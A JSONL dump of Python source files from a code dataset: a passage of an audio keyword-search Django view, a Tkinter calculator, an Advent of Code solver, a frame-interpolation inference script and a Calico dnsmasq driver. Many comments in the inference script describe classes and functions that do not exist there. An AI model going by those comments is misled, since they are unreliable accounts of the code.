librosa.feature.chroma_cqt(y=y,\n                                       sr=22050, hop_length= 512)\n\n    if plot == True:\n\n        librosa.display.specshow(chroma_cq, y_axis='chroma', x_axis='time')\n        plt.title('chroma_cqt')\n        plt.colorbar()\n        plt.tight_layout()\n        plt.show()\n\n        for pitch_class in range(0,12):\n\n            title_str = \"Pitch Class: \" + str(pitch_class)\n            plt.figure(figsize=(17,5))\n            plt.title(title_str)\n            plt.plot(chroma_cq[pitch_class,:])\n            plt.show()\n\n    df1 = pd.DataFrame(chroma_cq).T.add_prefix('pitch_')\n\n    return df1\n\n\n\ndef get_mel_spectrogram_features(sound_window = [], plot= True):\n    # rename window\n    y = sound_window\n\n    mel_spec = librosa.feature.melspectrogram(y=y, sr=22050)\n\n    if plot == True:\n\n        librosa.display.specshow(mel_spec, x_axis='time',y_axis='mel', sr=sr,fmax=8000)\n        plt.colorbar(format='%+2.0f dB')\n        plt.title('Mel-frequency spectrogram')\n        plt.tight_layout()\n        plt.show()\n\n        for freq in range(0,128):\n\n            title_str = \"Mel Class: \" + str(freq)\n            plt.figure(figsize=(17,5))\n            plt.title(title_str)\n            plt.plot(mel_spec[freq,:])\n            plt.show()\n\n    df1 = round(pd.DataFrame(mel_spec).T.add_prefix('mel_'),6)\n\n    df2 = df1[['mel_0', 'mel_1', 'mel_2', 'mel_3', 'mel_4', 'mel_5', 'mel_6', 'mel_7',\n       'mel_8', 'mel_9', 'mel_10', 'mel_11', 'mel_12', 'mel_13', 'mel_14',\n       'mel_15', 'mel_16', 'mel_17', 'mel_18', 'mel_19', 'mel_20', 'mel_21',\n       'mel_22', 'mel_23', 'mel_24', 'mel_25', 'mel_26', 'mel_27', 'mel_28',\n       'mel_29', 'mel_30', 'mel_31', 'mel_32', 'mel_33', 'mel_34', 'mel_35',\n       'mel_36', 'mel_37', 'mel_38', 'mel_39', 'mel_40', 'mel_41', 'mel_42',\n       'mel_43', 'mel_44', 'mel_45', 'mel_46', 'mel_47', 'mel_48', 'mel_49',\n       'mel_50', 'mel_51', 'mel_52', 'mel_53', 'mel_54', 'mel_55', 'mel_56',\n       'mel_57', 'mel_58', 'mel_59', 'mel_60', 'mel_61', 'mel_62', 'mel_63',\n       'mel_64', 'mel_65', 'mel_66', 'mel_67', 'mel_68', 'mel_69', 'mel_70',\n       'mel_71', 'mel_72', 'mel_73', 'mel_74', 'mel_75', 'mel_76', 'mel_77',\n       'mel_78', 'mel_79', 'mel_80', 'mel_81', 'mel_82', 'mel_83', 'mel_84',\n       'mel_85', 'mel_86', 'mel_87', 'mel_88', 'mel_89', 'mel_90', 'mel_91',\n       'mel_92', 'mel_93', 'mel_94', 'mel_95', 'mel_96', 'mel_97']]\n\n\n    return df2\n\n\n# target_audio, target_sr = librosa.load('Voice_042.wav')\n#\n    # len(target_audio)\n# yt, index = librosa.effects.trim(target_audio, top_db=40)\n# len(yt)\n# mf_table = get_mel_spectrogram_features(sound_window = yt, plot= False)\n# mf_table.describe().T.sort_values(by='50%', ascending=False)\n# mf_table.describe().T.loc[~(mf_table.describe().T['50%'] == 0)].index\n\n\n\ndef get_zero_crossing_rate(sound_window = [], plot=True):\n\n    # rename window\n    y = sound_window\n\n    cross_rate = librosa.feature.zero_crossing_rate(y=y)\n\n    if plot == True:\n        title_str = \"Zero Crossing Rate\"\n        plt.figure(figsize=(17,5))\n        plt.title(title_str)\n        plt.plot(cross_rate[0,:])\n        plt.show()\n\n    df1 = pd.DataFrame(cross_rate).T.rename(columns={0:'Zero_Cross_Rate'})\n\n    return df1\n\n\ndef get_features(sound_window = [], feature_name = 'chroma'):\n\n    if feature_name == 'chroma':\n        # get chroma features\n        feature_df = get_chroma_features(sound_window = sound_window, plot=False)\n\n    elif feature_name == 'melspec':\n        # get mel spectrogram features\n        feature_df = get_mel_spectrogram_features(sound_window = sound_window, plot=False)\n\n    elif feature_name == 'zerocross':\n        # get zero crossing rate\n        feature_df = get_zero_crossing_rate(sound_window = sound_window, plot=False)\n\n    # merge the dataframe\n#     comb_df1 = pd.merge(chroma_cq_df, mel_spec_df, left_index= True, right_index=True, how='inner')\n#     comb_df2 = pd.merge(comb_df1, zero_cross_df, left_index= True, right_index=True, how='inner')\n\n#     print(comb_df2.shape)\n\n    return feature_df\n\n\n\ndef compare_features(test_audio = [], target_audio = [], feature_name='melspec', plot=True):\n    start_time_seconds = time.time()\n\n    window_size = len(target_audio)\n    obj = Input_audios.objects.last()\n    wsize = obj.window_size\n    rmse_holder = []\n    max_error_holder = []\n    sample_holder = []\n    # get features for the target audio\n    feature_target = get_features(sound_window = target_audio, feature_name= feature_name)\n\n    #for i in range(0, len(test_audio), window_size):\n    for i in range(0, len(test_audio), wsize):\n\n        test_set = test_audio[i:i+window_size]\n\n        if len(test_set) == window_size:\n\n            feature_test = get_features(sound_window = test_set, feature_name= feature_name)\n\n            # calculate the rmse\n            rmse = mean_squared_error(feature_target, feature_test, squared=False)\n            rmse_holder.append(rmse)\n            # calculate the max error score - on raw audio itself\n            max_error_val = max_error(target_audio, test_set)\n            max_error_holder.append(max_error_val)\n            # append the sample holder\n            sample_holder.append(i)\n\n        elif len(test_set) < window_size:\n\n            last_test_set = test_audio[-window_size:]\n\n            feature_test = get_features(sound_window = last_test_set, feature_name= feature_name)\n\n            # calculate the rmse\n            rmse = mean_squared_error(feature_target, feature_test, squared=False)\n            rmse_holder.append(rmse)\n            # calculate the max error score - on raw audio itself\n            max_error_val = max_error(target_audio, last_test_set)\n            max_error_holder.append(max_error_val)\n            # append the sample holder\n            sample_holder.append(i)\n\n\n    if plot == True:\n        plt.figure(figsize=(17,5))\n        plt.title('RMSE Graph')\n        plt.plot(rmse_holder, color='teal');\n        plt.show()\n        plt.figure(figsize=(17,5))\n        plt.title('Max Error Graph')\n        plt.plot(max_error_holder, color='darkgoldenrod');\n        plt.show()\n\n    result_df = pd.DataFrame({'sample_loc': sample_holder, 'rmse': rmse_holder, 'max_error': max_error_holder})\n\n    stop_time_seconds = time.time()\n    runtime = round((stop_time_seconds - start_time_seconds),2)\n    print('The feature extraction and comparison runtime of ', feature_name, ' is: ', runtime, ' seconds')\n    return result_df, runtime\n\n\ndef cost_function(featureList=['melspec', 'chroma', 'zerocross'], coefficientValues= [0.9, 0.9, 0.8],\n                  target_audio = [], test_audio=[], plot=True):\n    print(\"d\")\n\n    # TODO -- iterate over the feature list and add results in the placeholder\n\n    # when the feature name is melspec\n    result_melspec, runtime_melspec = compare_features(test_audio = test_audio, target_audio = target_audio,\n                                                       feature_name='melspec', plot=False)\n    # when the feature name is melspec\n    result_chroma, runtime_chroma = compare_features(test_audio = test_audio, target_audio = target_audio,\n                                                       feature_name='chroma', plot=False)\n    # when the feature name is melspec\n    result_zerocross, runtime_zerocross = compare_features(test_audio = test_audio, target_audio = target_audio,\n                                                       feature_name='zerocross', plot=False)\n\n    # set index of result df at sample loc\n    result_melspec2 = result_melspec.set_index('sample_loc')\n    result_chroma2 = result_chroma.set_index('sample_loc')\n    result_zerocross2 = result_zerocross.set_index('sample_loc')\n\n    # set coefficients for each\n    agg_df = result_melspec2 * coefficientValues[0] + result_chroma2 * coefficientValues[1] + \\\n                result_zerocross2 * coefficientValues[2]\n\n    avg_df = agg_df / len(featureList)\n\n\n    if plot == True:\n        plt.figure(figsize=(17,5))\n        plt.title('RMSE Graph')\n        plt.plot(avg_df['rmse'], color='teal');\n        plt.show()\n        plt.figure(figsize=(17,5))\n        plt.title('Max Error Graph')\n        plt.plot(avg_df['max_error'], color='darkgoldenrod');\n        plt.show()\n    print(avg_df.head(5))\n\n    return avg_df\n\n\ndef evaluate_comparison(result_df = pd.DataFrame(), rmse_threshold = 10, max_error_threshold = 0.20):\n    print(\"e\")\n\n    result_df = result_df.reset_index()\n    # sort the result with min rmse and max error\n    sorted_df = result_df.sort_values(by=['rmse', 'max_error'], ascending=[True, True])\n\n    # find the sample loc of the min rmse and min of max error\n    start_loc = sorted_df['sample_loc'].iloc[0]\n    selected_rmse = sorted_df['rmse'].iloc[0]\n    selected_max_error = sorted_df['max_error'].iloc[0]\n\n\n    # if the rmse and max error are below certain threshold\n    if (selected_rmse < rmse_threshold) and (selected_max_error < max_error_threshold):\n\n        # Print\n        print('The target audio clip has potentially been found')\n        print('The target audio starts at: ', start_loc, ' sample')\n        print('The RMSE of the sample is : ', selected_rmse)\n        print('The Max Error of the sample is : ', selected_max_error)\n\n    else:\n        print('The target audio clip could not be found')\n\n    return sorted_df\n\n\ndef trim_resample_average(sample_1_file='abc.wav', sample_2_file='def.wav', sample_3_file='ghi.wav'):\n    print(\"c\")\n    # read the file and get timeseries\n    raw_y1, sr1 = librosa.load(sample_1_file, sr= 22050)\n    raw_y2, sr2 = librosa.load(sample_2_file, sr= 22050)\n    raw_y3, sr3 = librosa.load(sample_3_file, sr= 22050)\n\n    # trim the start and end silence\n    y1, index1 = librosa.effects.trim(raw_y1, top_db=35)\n    y2, index2 = librosa.effects.trim(raw_y2, top_db=35)\n    y3, index3 = librosa.effects.trim(raw_y3, top_db=35)\n\n    # calculate the mean length of the time series\n    avg_length = np.mean([len(y1), len(y2), len(y3)])\n\n    # determine the new sampling rate adjusted for the average length\n    time_duration_1 = len(y1) / sr1\n    new_sr1 = avg_length / time_duration_1\n\n    time_duration_2 = len(y2) / sr2\n    new_sr2 = avg_length / time_duration_2\n\n    time_duration_3 = len(y3) / sr3\n    new_sr3 = avg_length / time_duration_3\n\n    # resample the audio signals with new sampling rate\n    adj_y1 = librosa.resample(y1, sr1, new_sr1)\n    adj_y2 = librosa.resample(y2, sr2, new_sr2)\n    adj_y3 = librosa.resample(y3, sr3, new_sr3)\n\n    # calculate the mean of the adjusted sampling rate\n    mean_new_sr = np.mean([new_sr1, new_sr2, new_sr3])\n\n    # calculate the mean of three audio time series\n    mean_new_y = np.mean([adj_y1, adj_y2, adj_y3], axis=0)\n\n    # return mean y and mean sr\n    return mean_new_y, mean_new_sr\n\n\n\ndef write_audio_output(keyword, potential_df = pd.DataFrame(), target_length = 10.0, test_audio=[], test_sr=10.0):\n    word = keyword\n    output = Output_audios()\n    out_file_list = []\n    output.keyword = word\n\n    rmseval = list(potential_df.sort_index()['rmse'])\n    '''\n    rmse_list = list(potential_df.sort_index()['rmse'])\n    print(rmse_list)\n    plt.figure(figsize=(17,5))\n    plt.title('RMSE Graph')\n    plt.plot(rmse_list, color='darkgoldenrod')\n    plt.savefig('E:\\\\Freelance\\\\rmse.jpg')\n\n    rmse_list_expanded = new_rmse_list(rmse_list = rmse_list, repeat_times = 56)\n    '''\n    output.rmse = rmseval\n\n    # convert the first search result into audio\n    start_point = potential_df['sample_loc'].iloc[0]\n    end_point = start_point + target_length\n    audio_subset = test_audio[start_point: end_point]\n    output.start_time = start_point\n    output.end_time = end_point\n\n    current_time = datetime.datetime.now()\n    timestr = str(current_time.year) + \"_\" + str(current_time.month) + \"_\" + str(current_time.day) + \"_\" + str(current_time.hour) + \"_\" + str(current_time.minute) + \"_\" + str(current_time.second)\n    timesave1 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\search_1\" + timestr\n    librosa.output.write_wav(timesave1, audio_subset, sr=test_sr)\n    out_file_list.append(timesave1)\n\n    output.search_1 = \"media/search_1\" + timestr\n\n    #search = open('C:\\\\..\\\\search_1.wav','r')\n    #output_list.append(search)\n\n    #audio_output.search_1 = wave.open('C:\\\\..\\\\search_1.wav')\n\n    # convert the second search result into audio\n    start_point = potential_df['sample_loc'].iloc[1]\n    end_point = start_point + target_length\n    audio_subset = test_audio[start_point: end_point]\n    timesave2 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\search_2\" + timestr\n    librosa.output.write_wav(timesave2, audio_subset, sr=test_sr)\n    output.search_2 = \"media/search_2\" + timestr\n    out_file_list.append(timesave2)\n\n    # convert the third search result into audio\n    start_point = potential_df['sample_loc'].iloc[2]\n    end_point = start_point + target_length\n    audio_subset = test_audio[start_point: end_point]\n    timesave3 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\search_3\" + timestr\n    librosa.output.write_wav(timesave3, audio_subset, sr=test_sr)\n    output.search_3 = \"media/search_3\" + timestr\n    out_file_list.append(timesave3)\n\n    # convert the fourth search result into audio\n    start_point = potential_df['sample_loc'].iloc[3]\n    end_point = start_point + target_length\n    audio_subset = test_audio[start_point: end_point]\n    timesave4 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\search_4\" + timestr\n    librosa.output.write_wav(timesave4, audio_subset, sr=test_sr)\n    output.search_4 = \"media/search_4\" + timestr\n    out_file_list.append(timesave4)\n\n    # convert the fifth search result into audio\n    start_point = potential_df['sample_loc'].iloc[4]\n    end_point = start_point + target_length\n    audio_subset = test_audio[start_point: end_point]\n    timesave5 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\search_5\" + timestr\n    librosa.output.write_wav(timesave5, audio_subset, sr=test_sr)\n    output.search_5 = \"media/search_5\" + timestr\n    out_file_list.append(timesave5)\n\n    # convert the fifth search result into audio\n    start_point = potential_df['sample_loc'].iloc[5]\n    end_point = start_point + target_length\n    audio_subset = test_audio[start_point: end_point]\n    timesave6 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\search_6\" + timestr\n    librosa.output.write_wav(timesave6, audio_subset, sr=test_sr)\n    output.search_6 = \"media/search_6\" + timestr\n    out_file_list.append(timesave6)\n\n\n    visual_files = []\n    for i in out_file_list:\n        visual_files.append(visualisation(i,2))\n    output.visual_1 = visual_files[0]\n    output.visual_2 = visual_files[1]\n    output.visual_3 = visual_files[2]\n    output.visual_4 = visual_files[3]\n    output.visual_5 = visual_files[4]\n    output.visual_6 = visual_files[5]\n    output.runtime = 0\n\n    output.save()\n    return timesave1,timesave2,timesave3,timesave4,timesave5,timesave6\n\n\n\ndef search_function(malspec, chroma, zerocross, sdf, keyword, keyword_file1= 'abc.wav', keyword_file2='def.wav', keyword_file3 = 'ghi.wav',\n                    large_audio_file='xyz.wav'):\n    n_keyword = keyword\n    start_time_seconds = time.time()\n    target_audio, target_sr = trim_resample_average(sample_1_file=keyword_file1,\n                                                    sample_2_file=keyword_file2, sample_3_file=keyword_file3)\n\n\n    target_audio, target_sr = librosa.load(keyword_file1)\n\n\n    target_audio, index = librosa.effects.trim(target_audio, top_db=sdf)\n\n    test_filename = large_audio_file\n\n    test_audio, test_sr = librosa.load(test_filename, sr= target_sr)\n    testfile = test_audio.tolist()\n\n    result = cost_function(featureList=['malspec', 'chroma', 'zerocross'],\n                       coefficientValues= [malspec, chroma , zerocross],\n                       target_audio = target_audio,\n                        test_audio = test_audio,\n#                       test_audio=test_audio[int(test_sr*2):-int(test_sr*2)],\n                       plot=False)\n\n    potential_df = evaluate_comparison(result_df = result, rmse_threshold = 7, max_error_threshold = 0.70)\n\n\n\n    # store the output in audio form\n    file_list = write_audio_output(keyword = n_keyword, potential_df = potential_df, target_length = len(target_audio),\n                       test_audio=test_audio, test_sr=int(test_sr))\n\n    #calculating runtime of whole process\n    stop_time_seconds = time.time()\n    runtime = round((stop_time_seconds - start_time_seconds),2)\n    obj = Output_audios.objects.last()\n    obj.runtime = runtime\n    obj.test_audio = testfile\n    #obj.start_time = potential_df['sample_loc'].iloc[0]\n\n    #obj.end_time = potential_df['sample_loc'].iloc[0] + len(target_audio)\n    obj.save()\n\n    plotobj = Plotter.objects.last()\n    plotobj.runtime = runtime\n    plotobj.save()\n\n\n\n\n\n\n\n    return potential_df, file_list\n","sub_path":"Analyserapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":36118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"557147112","text":"from tkinter import *\n\n\ndef button_click(number):\n    current = e.get()\n    # checking if there is  a decimal dot already\n    if number == \".\":\n        if number in current:\n            return\n        else:\n            e.delete(0, END)\n            e.insert(0, str(current) + number)\n\n    # in normal case type in a digit\n    else:\n        e.delete(0, END)\n        e.insert(0, str(current) + str(number))\n\n\ndef button_clear():\n    e.delete(0, END)\n\n\ndef button_add():\n    first_number = e.get()\n    global f_num\n    global math\n    math = \"add\"\n    f_num = float(first_number)\n    e.delete(0, END)\n\n\ndef button_sub():\n    first_number = e.get()\n    global f_num\n    global math\n    math = \"sub\"\n    f_num = float(first_number)\n    e.delete(0, END)\n\n\ndef button_mul():\n    first_number = e.get()\n    global f_num\n    global math\n    math = \"mul\"\n    f_num = float(first_number)\n    e.delete(0, END)\n\n\ndef button_div():\n    first_number = e.get()\n    global f_num\n    global math\n    math = \"div\"\n    f_num = float(first_number)\n    e.delete(0, END)\n\n\ndef button_equal():\n    second_number = e.get()\n    e.delete(0, END)\n\n    if math == \"add\":\n        e.insert(0, str(f_num + int(second_number)))\n    if math == \"sub\":\n        e.insert(0, str(f_num - int(second_number)))\n    if math == \"mul\":\n        e.insert(0, str(f_num * int(second_number)))\n    if math == \"div\":\n        e.insert(0, str(f_num / int(second_number)))\n\n\n# main window\nroot = Tk()\nroot.title(\"Simple Calculator\")\n\n# results field\ne = Entry(root, width=35, borderwidth=5)\ne.grid(row=0, column=0, columnspan=3, padx=10, pady=10)\n\n# number buttons\nbutton_1 = Button(root, text=\"1\", padx=30, pady=20, command=lambda: button_click(1))\nbutton_2 = Button(root, text=\"2\", padx=30, pady=20, command=lambda: button_click(2))\nbutton_3 = Button(root, text=\"3\", padx=30, pady=20, command=lambda: button_click(3))\nbutton_4 = Button(root, text=\"4\", padx=30, pady=20, command=lambda: button_click(4))\nbutton_5 = Button(root, text=\"5\", padx=30, pady=20, command=lambda: button_click(5))\nbutton_6 = Button(root, text=\"6\", padx=30, pady=20, command=lambda: button_click(6))\nbutton_7 = Button(root, text=\"7\", padx=30, pady=20, command=lambda: button_click(7))\nbutton_8 = Button(root, text=\"8\", padx=30, pady=20, command=lambda: button_click(8))\nbutton_9 = Button(root, text=\"9\", padx=30, pady=20, command=lambda: button_click(9))\nbutton_0 = Button(root, text=\"0\", padx=30, pady=20, command=lambda: button_click(0))\nbutton_dot = Button(root, text=\".\", padx=30, pady=20, command=lambda: button_click(\".\"))\n\n# functional buttons\nbutton_add = Button(root, text=\"+\", padx=30, pady=20, command=button_add)\nbutton_sub = Button(root, text=\"-\", padx=31, pady=20, command=button_sub)\nbutton_mul = Button(root, text=\"*\", padx=31, pady=20, command=button_mul)\nbutton_div = Button(root, text=\"/\", padx=31, pady=20, command=button_div)\nbutton_equal = Button(root, text=\"=\", padx=30, pady=20, command=button_equal)\nbutton_clear = Button(root, text=\"Clear\", padx=20, pady=20, command=button_clear)\n\n# defining layout\nbutton_clear.grid(row=0, column=3)\n\nbutton_1.grid(row=3, column=0)\nbutton_2.grid(row=3, column=1)\nbutton_3.grid(row=3, column=2)\n\nbutton_4.grid(row=2, column=0)\nbutton_5.grid(row=2, column=1)\nbutton_6.grid(row=2, column=2)\n\nbutton_7.grid(row=1, column=0)\nbutton_8.grid(row=1, column=1)\nbutton_9.grid(row=1, column=2)\n\nbutton_dot.grid(row=4, column=0)\nbutton_0.grid(row=4, column=1)\nbutton_equal.grid(row=4, column=2)\n\nbutton_mul.grid(row=1, column=3)\nbutton_div.grid(row=2, column=3)\nbutton_sub.grid(row=3, column=3)\nbutton_add.grid(row=4, column=3)\n\n# main loop\nroot.mainloop()","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"613193761","text":"from typing import Dict\n\nimport numpy as np  # type: ignore\nimport pandas as pd  # type: ignore\n\n\ndef load_data(filename: str) -> np.array:\n    X = pd.read_csv(filename, header=None).values\n    X = np.array(X)\n    return X.reshape(-1)\n\n\ndef solve_part_1(X: np.array) -> int:\n    X = sorted(X)\n    X = np.insert(X, 0, 0)\n    d = np.append(np.diff(X), 3)\n    return sum(d == 1) * sum(d == 3)\n\n\ndef solve_part_2(X: np.array) -> int:\n    # memoization\n    memo: Dict[int, int] = {}\n    # Dynamic Programming\n    def dp(i):\n        if i == len(X) - 1:\n            return 1\n        if i in memo:\n            return memo[i]\n        result = 0\n        for j in range(i + 1, len(X)):\n            if X[j] - X[i] <= 3:\n                result += dp(j)\n        memo[i] = result\n        return result\n\n    return dp(0)\n\n\nif __name__ == \"__main__\":\n    filename = \"./data/test_data10.txt\"\n    X = load_data(filename)\n    print(solve_part_1(X))\n    print(solve_part_2(X))\n\n","sub_path":"puzzles/puzzle10.py","file_name":"puzzle10.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"600909119","text":"import os\nimport cv2\nimport torch\nimport argparse\nfrom torch.nn import functional as F\nimport warnings\n\nfrom model.FastRIFE_GF import Model\npath = r'model_GF'\noutput_path = r'output/GF/2.png'\n# 1. First, it loads the model from the path.\n# 2. Then, it loads the weights from the weights path.\n# 3. Then, it loads the test image from the image path.\n# 4. After that, it runs the model on the test image and saves the output in the output path.\n\nwarnings.filterwarnings(\"ignore\")\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ntorch.set_grad_enabled(False)\nif torch.cuda.is_available():\n    torch.backends.cudnn.enabled = True\n    torch.backends.cudnn.benchmark = True\n# 1. The first line is initializing the device to use for the model.\n# 2. The second line is setting the gradient calculation to be false.\n# 3. The third line is checking if a CUDA device is available.\n# 4. The fourth line is setting the cuDNN auto-tuner to optimize the convolution algorithms.\n\nparser = argparse.ArgumentParser(description='Interpolation for a pair of images')\nparser.add_argument('--img', dest='img', nargs=2, required=True)\nparser.add_argument('--exp', default=1, type=int)\nparser.add_argument('--ratio', default=0, type=float, help='inference ratio between two images with 0 - 1 range')\nparser.add_argument('--rthreshold', default=0.02, type=float, help='returns image when actual ratio falls in given range threshold')\nparser.add_argument('--rmaxcycles', default=8, type=int, help='limit max number of bisectional cycles')\nargs = parser.parse_args()\n# 1. The constructor takes in the image paths and the interpolation ratio.\n# 2. The interpolation ratio is used to calculate the interpolation factor.\n# 3. The interpolation factor is used to calculate the interpolated image.\n# 4. The interpolated image is displayed.\n\nmodel = Model()\nmodel.load_model(path)\nmodel.eval()\nmodel.device()\n# 1. The class has a constructor that takes a path to a model file.\n# 2. The class has a load_model method that takes a path to a model file.\n# 3. The class has a eval method that sets the model to evaluation mode.\n# 4. The class has a device method that sets the model to either GPU or CPU.\n\nimg0 = cv2.imread(args.img[0])\nimg1 = cv2.imread(args.img[1])\nimg0 = (torch.tensor(img0.transpose(2, 0, 1)).to(device) / 255.).unsqueeze(0)\nimg1 = (torch.tensor(img1.transpose(2, 0, 1)).to(device) / 255.).unsqueeze(0)\n# 1. The constructor takes in the argument parser, which is a class that stores all the arguments that are passed to the script.\n# 2. The constructor then stores the arguments in a dictionary, which is a more convenient way to access the arguments.\n\nn, c, h, w = img0.shape\nph = ((h - 1) // 32 + 1) * 32\npw = ((w - 1) // 32 + 1) * 32\npadding = (0, pw - w, 0, ph - h)\nimg0 = F.pad(img0, padding)\nimg1 = F.pad(img1, padding)\n# 1. The constructor takes in the input image and the number of channels.\n# 2. The forward function takes in the input image and applies the convolutional layer.\n# 3. The backward function computes the gradient of the loss with respect to the input image.\n\nif args.ratio:\n    img_list = [img0]\n    img0_ratio = 0.0\n    img1_ratio = 1.0\n    if args.ratio <= img0_ratio + args.rthreshold / 2:\n        middle = img0\n    elif args.ratio >= img1_ratio - args.rthreshold / 2:\n        middle = img1\n    else:\n        tmp_img0 = img0\n        tmp_img1 = img1\n        for inference_cycle in range(args.rmaxcycles):\n            middle = model.inference(tmp_img0, tmp_img1)\n\n            middle_ratio = ( img0_ratio + img1_ratio ) / 2\n            if args.ratio - (args.rthreshold / 2) <= middle_ratio <= args.ratio + (args.rthreshold / 2):\n                break\n            if args.ratio > middle_ratio:\n                tmp_img0 = middle\n                img0_ratio = middle_ratio\n            else:\n                tmp_img1 = middle\n                img1_ratio = middle_ratio\n    img_list.append(middle)\n    img_list.append(img1)\nelse:\n    img_list = [img0, img1]\n    for i in range(args.exp):\n        tmp = []\n        for j in range(len(img_list) - 1):\n            mid = model.inference(img_list[j], img_list[j + 1])\n            tmp.append(img_list[j])\n            tmp.append(mid)\n        tmp.append(img1)\n        img_list = tmp\n# 1. The constructor takes in the model and the image paths.\n# 2. The inference() function takes in the two images and returns the middle image.\n# 3. The inference_cycle() function takes in the two images and returns the middle image.\n# 4. The inference_exp() function takes in the two images and returns the middle image.\n# 5. The inference_ratio() function takes in the two images and returns the middle image.\n\nif not os.path.exists('output'):\n    os.mkdir('output')\nfor i in range(len(img_list)):\n    if i == 1:\n        cv2.imwrite(output_path, (img_list[i][0] * 255).byte().cpu().numpy().transpose(1, 2, 0)[:h, :w])\n# 1. The constructor takes in the model, the image, and the number of classes.\n# 2. The forward function takes in the data and applies the model to it.\n# 3. The output function takes in the class scores and returns the class with the highest probability.\n","sub_path":"inference_img.py","file_name":"inference_img.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"434074880","text":"# Copyright 2015 Metaswitch Networks\n# All Rights Reserved.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\nimport copy\nimport re\n\nfrom neutron.agent.linux import dhcp\nfrom neutron.common import constants\nfrom oslo_log import log as logging\n\n\nLOG = logging.getLogger(__name__)\nWIN2k3_STATIC_DNS = 249\n\n\nclass DnsmasqRouted(dhcp.Dnsmasq):\n    \"\"\"Dnsmasq DHCP driver for routed virtual interfaces.\"\"\"\n\n    def __init__(self, conf, network, process_monitor,\n                 version=None, plugin=None):\n        super(DnsmasqRouted, self).__init__(conf, network, process_monitor,\n                                            version, plugin)\n        self.device_manager = CalicoDeviceManager(self.conf, plugin)\n\n    def _build_cmdline_callback(self, pid_file):\n        cmd = super(DnsmasqRouted, self)._build_cmdline_callback(pid_file)\n\n        # Replace 'static' by 'static,off-link' in all IPv6\n        # --dhcp-range options.\n        prog = re.compile('(--dhcp-range=set:[^,]+,[0-9a-f:]+),static,(.*)')\n        for option in copy.copy(cmd):\n            m = prog.match(option)\n            if m:\n                cmd.remove(option)\n                cmd.append(m.group(1) + ',static,off-link,' + m.group(2))\n\n        # Add '--enable-ra'.\n        cmd.append('--enable-ra')\n\n        return cmd\n\n    def _destroy_namespace_and_port(self):\n        try:\n            self.device_manager.destroy(self.network, self.interface_name)\n        except RuntimeError:\n            LOG.warning('Failed trying to delete interface: %s',\n                        self.interface_name)\n\n    def _generate_opts_per_subnet(self):\n        options = []\n        subnet_index_map = {}\n        for i, subnet in enumerate(self.network.subnets):\n            addr_mode = getattr(subnet, 'ipv6_address_mode', None)\n            if (not subnet.enable_dhcp or\n                (subnet.ip_version == 6 and\n                 addr_mode == constants.IPV6_SLAAC)):\n                continue\n            if subnet.dns_nameservers:\n                options.append(\n                    self._format_option(\n                        subnet.ip_version, i, 'dns-server',\n                        ','.join(\n                            dhcp.Dnsmasq._convert_to_literal_addrs(\n                                subnet.ip_version, subnet.dns_nameservers))))\n            else:\n                # use the dnsmasq ip as nameservers only if there is no\n                # dns-server submitted by the server\n                subnet_index_map[subnet.id] = i\n\n            if self.conf.dhcp_domain and subnet.ip_version == 6:\n                options.append('tag:tag%s,option6:domain-search,%s' %\n                               (i, ''.join(self.conf.dhcp_domain)))\n\n            gateway = subnet.gateway_ip\n            host_routes = []\n            for hr in subnet.host_routes:\n                if hr.destination == constants.IPv4_ANY:\n                    if not gateway:\n                        gateway = hr.nexthop\n                else:\n                    host_routes.append(\"%s,%s\" % (hr.destination, hr.nexthop))\n\n            if subnet.ip_version == 4:\n                if host_routes:\n                    if gateway:\n                        host_routes.append(\"%s,%s\" % (constants.IPv4_ANY,\n                                                      gateway))\n                    options.append(\n                        self._format_option(subnet.ip_version, i,\n                                            'classless-static-route',\n                                            ','.join(host_routes)))\n                    options.append(\n                        self._format_option(subnet.ip_version, i,\n                                            WIN2k3_STATIC_DNS,\n                                            ','.join(host_routes)))\n\n                if gateway:\n                    options.append(self._format_option(subnet.ip_version,\n                                                       i, 'router',\n                                                       gateway))\n                else:\n                    options.append(self._format_option(subnet.ip_version,\n                                                       i, 'router'))\n        return options, subnet_index_map\n\n\nclass CalicoDeviceManager(dhcp.DeviceManager):\n    \"\"\"Device manager for the default namespace that Calico operates in.\"\"\"\n\n    def _set_default_route(self, network, device_name):\n        pass\n\n    def _cleanup_stale_devices(self, network, dhcp_port):\n        pass\n","sub_path":"networking_calico/agent/linux/dhcp.py","file_name":"dhcp.py","file_ext":"py","file_size_in_byte":4988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
